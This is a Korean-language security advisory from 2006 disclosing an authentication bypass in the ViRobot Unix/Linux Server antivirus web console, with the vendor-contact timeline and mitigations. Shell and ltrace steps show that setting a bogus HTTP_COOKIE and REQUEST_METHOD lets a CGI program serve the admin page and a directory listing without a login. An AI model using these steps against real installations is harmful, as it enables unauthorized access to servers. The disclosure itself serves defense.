
INetCop Security Advisory #2006-0x82-028

Title: Global Hauri Virobot Unix/Linux server cookie exploit.

0x01. Description

바이로봇 Unix/Linux Server는 하우리에서 개발한 안티 바이러스 프로그램입니다.
(제품은 SUN Sparc, HP, IBM 기반의 Unix 계열과 RedHat 호환 계열 Linux에서 실행됩니다.)
사용자가 서버의 바이러스를 검사하고 치료하기 위해서는 우선, Virobot 전용 웹서버에
접속하여 로그인해야 합니다. 이 웹서버는 apache를 기반으로 하고 있으며 그 안에
구현된 CGI 프로그램들을 통해 웹 서비스를 제공합니다.

해당 제품의 문제점은 생성된 쿠키를 통해 인증하지 않는 다수의 CGI 웹 프로그램에 의해
발생합니다. 이는 치명적인 인증 취약점으로써 결과적으로 악의적인 해커가 id와 password를
획득할 수 있고, 로그인 없이 서버 이용이 가능해집니다.

취약점 테스트: --

```
[root@Intel-x86-platform cgi-bin]# pwd
```

```
/usr/local/ViRobot/cgi-bin
```

```
[root@Intel-x86-platform cgi-bin]# ./filescan
```

```
Content-type:text/html
```

```
<font size=2>You need to authenticate.</font>
```

```
[root@Intel-x86-platform cgi-bin]#
```

```
[root@Intel-x86-platform cgi-bin]# ltrace ./filescan
```

```
__libc_start_main(0x08048c20, 1, 0xbffffbe4, 0x080488b4, 0x0804c3cc <unfinished ...>
```

```
__register_frame_info(0x0804f010, 0x0804f188, 0xbffffba4, 0x080488d9, 0x4010748c) = 0x40107fc0
```

```
printf("Content-type:text/html\n\n") = 24
```

```
...
```

```
getenv("REMOTE_ADDR") = NULL
```

```
memset(0xbffff729, 'W000', 511) = 0xbffff729
```

```

memset(0xbffff6e9, '\W000', 63)                = 0xbffff6e9
uname(0xbfffd558)                               = 0
gethostbyname("Intel-x86-platform")             = 0x40109f04
inet_ntoa(0x0100007f)                           = "127.0.0.1"
strncpy(0xbfffd4d8, "127.0.0.1", 127)          = 0xbfffd4d8
getenv("HTTP_COOKIE")                          = NULL    // HTTP_COOKIE 변수 값 필요
atoi(0x0804c4f6, 0x0804c4f6, 0, 0xbffffb5c, 0x0804bf1a) = 3
strcmp("#COM-0003;", "#FSC-0003;")             = -3
strcmp("#COM-0003;", "#COM-0003;")             = 0
printf("<font size=2>%s</font>\Wn", "You need to authenticate.") = 46
exit(1)                                          = <void>
__deregister_frame_info(0x0804f010, 0xbffffb48, 0x0804c3e1, 0x4010748c, 0xbffffb5c) = 0x0804f188
+++ exited (status 1) +++
[root@Intel-x86-platform cgi-bin]#
[root@Intel-x86-platform cgi-bin]# export HTTP_COOKIE=test // HTTP_COOKIE 변수 값 선언
[root@Intel-x86-platform cgi-bin]# ltrace ./filescan
...
getenv("REMOTE_ADDR")                          = NULL
memset(0xbffff709, '\W000', 511)                = 0xbffff709
memset(0xbffff6c9, '\W000', 63)                = 0xbffff6c9
uname(0xbfffd538)                               = 0
gethostbyname("Intel-x86-platform")             = 0x40109f04
inet_ntoa(0x0100007f)                           = "127.0.0.1"
strncpy(0xbfffd4b8, "127.0.0.1", 127)          = 0xbfffd4b8
getenv("HTTP_COOKIE")                          = "test"
getenv("HTTP_COOKIE")                          = "test"
strncmp("test", "ViRobot_ID", 10)              = 30    // 쿠키 값으로 ViRobot_ID와
strncmp("test", "ViRobot_PASS", 10)            = 30    // ViRobot_PASS 사용을 알 수 있음.
...
... // 쿠키 값이 일치하지 않을 경우, 종료되는 것이 정상.
... // 그러나, 해당 CGI 프로그램은 이를 무시하고 계속 실행 됨.
...
getenv("REQUEST_METHOD")                       = NULL // REQUEST_METHOD 변수 값 필요
strcmp(NULL, "POST" <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

```

```

[root@Intel-x86-platform cgi-bin]#
[root@Intel-x86-platform cgi-bin]# export REQUEST_METHOD=GET // REQUEST_METHOD 변수 값 선언
[root@Intel-x86-platform cgi-bin]# ./filescan | more
Content-type:text/html

<html>
<head>
<title>ViRobot Linux Server Ver 2.0</title>
...
<select name=dirs class=
'width-full' size=8 onchange='javascript:document.dir_form.submit()>
<OPTION value="/.">.</OPTION>
<OPTION value="/..">..</OPTION>
<OPTION value="/etc">etc</OPTION>
<OPTION value="/boot">boot</OPTION>
...
<form name=web_vrscan method=post action=webvrsc
an target=new>
<td align=right valign=top>
<input type=image src='/images/button_sc
an.gif' border=0><input type=hidden name=web>
</td>
</form>
</tr>
</table>
</body>
</html>
[root@Intel-x86-platform cgi-bin]#
--

```

위와 같이 엉뚱한 쿠키 값과 요청문을 전달한 결과, 로그인 후 관리자가 이용하는 화면 정보를 쉽게 얻을 수 있었습니다.

0x02. Vulnerable Packages

Vendor site: <http://www.globalhauri.com/>

Virobot Linux Server

-eng-linux_i386-eval-20050817.tar

+ Turbo 6x/7x, Laser 5/6x/7x, Miracle 2x, Redhat 6x/7x

Virobot Unix Server

Disclosure Timeline:

2003-08.?: Vulnerabilities found.

2003-08.?: 1st vendor contact. (didn't responded)

2005-09.30: 2nd vendor contact. (didn't responded)

2005-10.03: 3rd vendor contact. (didn't responded)

2005-10.08: Deleted free download page in vendor (Oops).

2006-02.17: 4th verdon contact. (didn't responded)

2006-02.22: Public disclosure.

0x03. Exploit

현재 이 문제점에 대한 두 가지의 Proof of Concept code를 보유하고 있습니다.

#1. Virobot 웹 관리자 패스워드를 변경하는 exploit

#2. Virobot 웹 로그인 없이 내부 디렉토리 및 파일을 볼 수 있게 해주는 exploit

이와 같은 치명적인 문제점들을 통해 해커는 remote 공격을 시도할 수 있습니다.

0x04. Patch

문제점은 쿠키 정보 값 없이 이용할 수 있는 모든 CGI 프로그램들에 의해 발생합니다. 항상 사용자가 가지고 있는 쿠키 값을 점검할 수 있도록 검사하는 함수 또는 모듈을 추가하는 것이 좋습니다.

정식적인 패치가 나오기 전까지, 임시 방편으로 방화벽이나 iptables를 이용하여 관리자의 IP만 해당 웹 페이지에 접속할 수 있도록 설정할 수 있습니다. 감사합니다.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org>

My World: <http://x82.inetcop.org>

GPG public key: <http://x82.inetcop.org/h0me/pr0file/x82.k3y>

--